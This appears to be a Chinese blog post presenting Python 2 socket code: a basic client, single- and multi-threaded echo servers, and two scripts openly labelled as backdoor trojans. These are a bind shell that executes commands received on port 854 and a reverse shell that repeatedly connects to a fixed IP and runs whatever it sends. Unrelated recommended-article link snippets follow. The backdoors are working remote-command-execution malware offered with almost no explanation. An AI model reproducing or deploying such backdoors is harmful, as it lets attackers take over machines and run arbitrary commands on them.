懒得解释怎么写出来的,直接上代码

Client:  简单连接服务器

  1. #!/usr/bin/python
  2. #coding:utf-8
  3.  
  4. import socket
  5. import sys
  6. socket.setdefaulttimeout(5)
  7.  
  8. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9.  
  10. host = "www.baidu.com"
  11. port = 80
  12. remote_ip = socket.gethostbyname( host )
  13.  
  14. message = "GET / HTTP/1.1\r\n\r\n"
  15.  
  16. s.connect((remote_ip, port))
  17. s.sendall(message)
  18.  
  19. reply = s.recv(4096)
  20.  
  21. print reply

Server:  单线程,长久监听服务,长连接,会话先进先出排队原则

  1. #!/usr/bin/python
  2. #coding:utf-8
  3.  
  4. import socket
  5. import sys
  6.  
  7. HOST = ''
  8. PORT = 444
  9.  
  10. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. s.bind((HOST, PORT))
  12. s.listen(10)
  13.  
  14. while 1:
  15. conn, addr = s.accept()
  16. print "[+] connecting" , addr[0] + ":" , addr[1]
  17. conn.send("Welcome to the server. Type something like:"
  18. "COOKIE,GET,POST and hit <ENTRE>\n")
  19. while 1:
  20. data = conn.recv(1024)
  21. print data
  22. if data == "GET\n":
  23. data = "OK, wait a moment\n"
  24. if data == "POST\n":
  25. data = "I am not a http server\n"
  26. if data == "COOKIE\n":
  27. data = "a cookie Biscuits??\n"
  28. if data:
  29. conn.sendall(data)
  30. else:
  31. break
  32.  
  33. conn.close()
  34. s.close()

Server:  多线程,长久监听服务,长连接,同步处理会话

  1. #!/usr/bin/python
  2. #coding:utf-8
  3.  
  4. import socket
  5. import sys
  6. from thread import *
  7.  
  8. HOST = ''
  9. PORT = 555
  10.  
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12. s.bind((HOST, PORT))
  13. s.listen(10)
  14.  
  15. def clientthread(conn):
  16. conn.send("Welcome to the server. Type something like:"
  17. "COOKIE,GET,POST and hit <ENTRE>\n")
  18. while 1:
  19. data = conn.recv(1024)
  20. print data
  21. if data == "GET\n":
  22. data = "OK, wait a moment\n"
  23. if data == "POST\n":
  24. data = "I am not a http server\n"
  25. if data == "COOKIE\n":
  26. data = "a cookie Biscuits??\n"
  27. if data:
  28. conn.sendall(data)
  29. else:
  30. break
  31. conn.close()
  32.  
  33. while 1:
  34. conn, addr = s.accept()
  35. print "[+] connecting" , addr[0] + ":" , addr[1]
  36. start_new_thread(clientthread, (conn,))
  37.  
  38. s.close()

BackDoor: 结合命令执行制作后门木马(正向)

  1. #!/usr/bin/python
  2. #coding:utf-8
  3.  
  4. import socket
  5. import sys
  6. import commands
  7. from thread import *
  8.  
  9. HOST = ''
  10. PORT = 854
  11.  
  12. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. s.bind((HOST, PORT))
  14. s.listen(10)
  15.  
  16. def clientthread(conn):
  17. conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")
  18. while 1:
  19. conn.send("Demon_Backdoor# ")
  20. data = conn.recv(1024)
  21. if data:
  22. cmd = data.strip("\n")
  23. code,res = commands.getstatusoutput(cmd)
  24.  
  25. if code == 0 :
  26. conn.sendall(res+"\n")
  27. else:
  28. print "[-]Error: code",code
  29. data = ""
  30.  
  31. else:
  32. break
  33.  
  34. conn.close()
  35.  
  36. while 1:
  37. conn, addr = s.accept()
  38. print "[+] connecting" , addr[0] + ":" , addr[1]
  39. start_new_thread(clientthread, (conn,))
  40.  
  41. s.close()

BackDoor: 反弹shell(反向)

  1. #!/usr/bin/python
  2. #coding:utf-8
  3.  
  4. import socket
  5. import sys
  6. import commands
  7. from time import sleep
  8. from thread import *
  9.  
  10. HOST = "192.168.10.24"
  11. PORT = 444
  12.  
  13. def clientthread(s):
  14. global isConnect
  15. s.send("Welcome demon's backdoor!".center(50,"*") + "\n")
  16.  
  17. while 1:
  18. s.send("Demon_Backdoor# ")
  19. data = s.recv(1024)
  20. if data :
  21. cmd = data.strip("\n")
  22. code,res = commands.getstatusoutput(cmd)
  23.  
  24. if code == 0 :
  25. s.sendall(res+"\n")
  26. else:
  27. print "[-]Error: code",code
  28. data = ""
  29. else:
  30. break
  31.  
  32. while 1:
  33. try:
  34. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  35. s.connect((HOST, PORT))
  36. print "[+] connecting" , HOST + ":", PORT
  37. clientthread(s)
  38. #start_new_thread(clientthread, (s,))
  39. s.close()
  40. except:
  41. sleep(0.5)

转载指明出处:http://www.cnblogs.com/demonxian3/p/8666416.html

python socket编程制作后门木马(原创)的更多相关文章

  1. Python Socket 编程——聊天室示例程序

    上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和客户端的代码了解基本的 Python Socket 编程模型.本文再通过一个例子来加强一下对 Socket 编程的 ...

  2. python/socket编程之粘包

    python/socket编程之粘包 粘包 只有TCP有粘包现象,UDP永远不会粘包. 首先需要掌握一个socket收发消息的原理 发送端可以是1k,1k的发送数据而接受端的应用程序可以2k,2k的提 ...

  3. PYTHON SOCKET编程简介

    原文地址: PYTHON SOCKET编程详细介绍   Python 提供了两个基本的 socket 模块. 第一个是 Socket,它提供了标准的 BSD Sockets API. 第二个是 Soc ...

  4. python socket编程笔记

    用python实现一个简单的socket网络聊天通讯 (Linux --py2.7平台与windows--py3.6平台) 人生苦短之我用Python篇(socket编程) python之路 sock ...

  5. [Python_7] Python Socket 编程

    0. 说明 Python Socket 编程 1. TCP 协议 [TCP Server] 通过 netstat -ano 查看端口是否开启 # -*-coding:utf-8-*- "&q ...

  6. Python Socket 编程示例 Echo Server

    简评:我们已经从「Python Socket 编程概览」了解了 socket API 的概述以及客户端和服务器的通信方式,接下来让我们创建第一个客户端和服务器,我们将从一个简单的实现开始,服务器将简单 ...

  7. Python Socket 编程——聊天室演示样例程序

    上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和client的代码了解主要的 Python Socket 编程模型.本文再通过一个样例来加强一下对 Socket ...

  8. python socket编程入门(编写server实例)+send 与sendall的区别与使用方法

    python 编写server的步骤: 1. 第一步是创建socket对象.调用socket构造函数.如: socket = socket.socket( family, type ) family参 ...

  9. 第九章:Python高级编程-Python socket编程

    第九章:Python高级编程-Python socket编程 Python3高级核心技术97讲 笔记 9.1 弄懂HTTP.Socket.TCP这几个概念 Socket为我们封装好了协议 9.2 cl ...

随机推荐

  1. 织梦dedecms列表序号从0到1开始的办法 autoindex,itemindex标签

    自增1 arclist            标签下使用 [field:global.autoindex/] 默认从1开始 channel         标签下使用 [field:global.au ...

  2. 大数据处理的三种框架:Storm,Spark和Samza

    许多分布式计算系统都可以实时或接近实时地处理大数据流.下面对三种Apache框架分别进行简单介绍,然后尝试快速.高度概述其异同. Apache Storm 在Storm中,先要设计一个用于实时计算的图 ...

  3. Excel 2010高级应用-饼图(四)

    Excel 2010高级应用-饼图(四) 基本操作如下: 1.新建空白文档,并命名饼图 2.单击"插入",找到饼图样例图 3.选择其中一种饼图图例,单击并在空白文档上生成饼图图框 ...

  4. Caused by: java.io.FileNotFoundException: class path resource [applicationContext.xml] cannot be ope

    1.错误描述 java.lang.IllegalStateException: Failed to load ApplicationContext at org.springframework.tes ...

  5. Java和Flex整合报错(四)

    1.错误描述 usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ] [ -nonaming ] { -help ...

  6. 游戏中实现粒子碰撞,纯java

    package com.totoo.TouhouMassLight;import android.content.Context;import android.graphics.Bitmap;impo ...

  7. 初学 Java Web 开发,从 Servlet 开发

    1. 基本要求:Java 编程基础 有良好的 Java 语言编程基础,这是必须的,在讨论 Web 开发技术时提了一个 Java 编程基础的问题会被鄙视的. 2. 环境准备 (Eclipse + Tom ...

  8. Graham凸包算法简介

    凸包真是一个神奇的算法.. 概念 凸包,我理解为凸多边形 叉积 对于向量AB和向量BC,记向量AB*向量BC = AB * BC * sin ∠ABC,而叉积的绝对值其实就是S△ABC/2 对于平面上 ...

  9. html学习第一弹の常用标签的归类

    HTML初步学习: 行内元素:只占据他对应标签的边框所包含的空间,默认横向排布. 块级元素:块级元素占据其父元素(容器)的整个空间,因此创建了一个块,通常浏览器会在块级元素前后另起一行,默认竖向排布. ...

  10. Sqoop工具

    简介 SQOOP是用于对数据进行导入导出的. (1)把MySQL.Oracle等数据库中的数据导入到HDFS.Hive.HBase中 (2)把HDFS.Hive.HBase中的数据导出到MySQL.O ...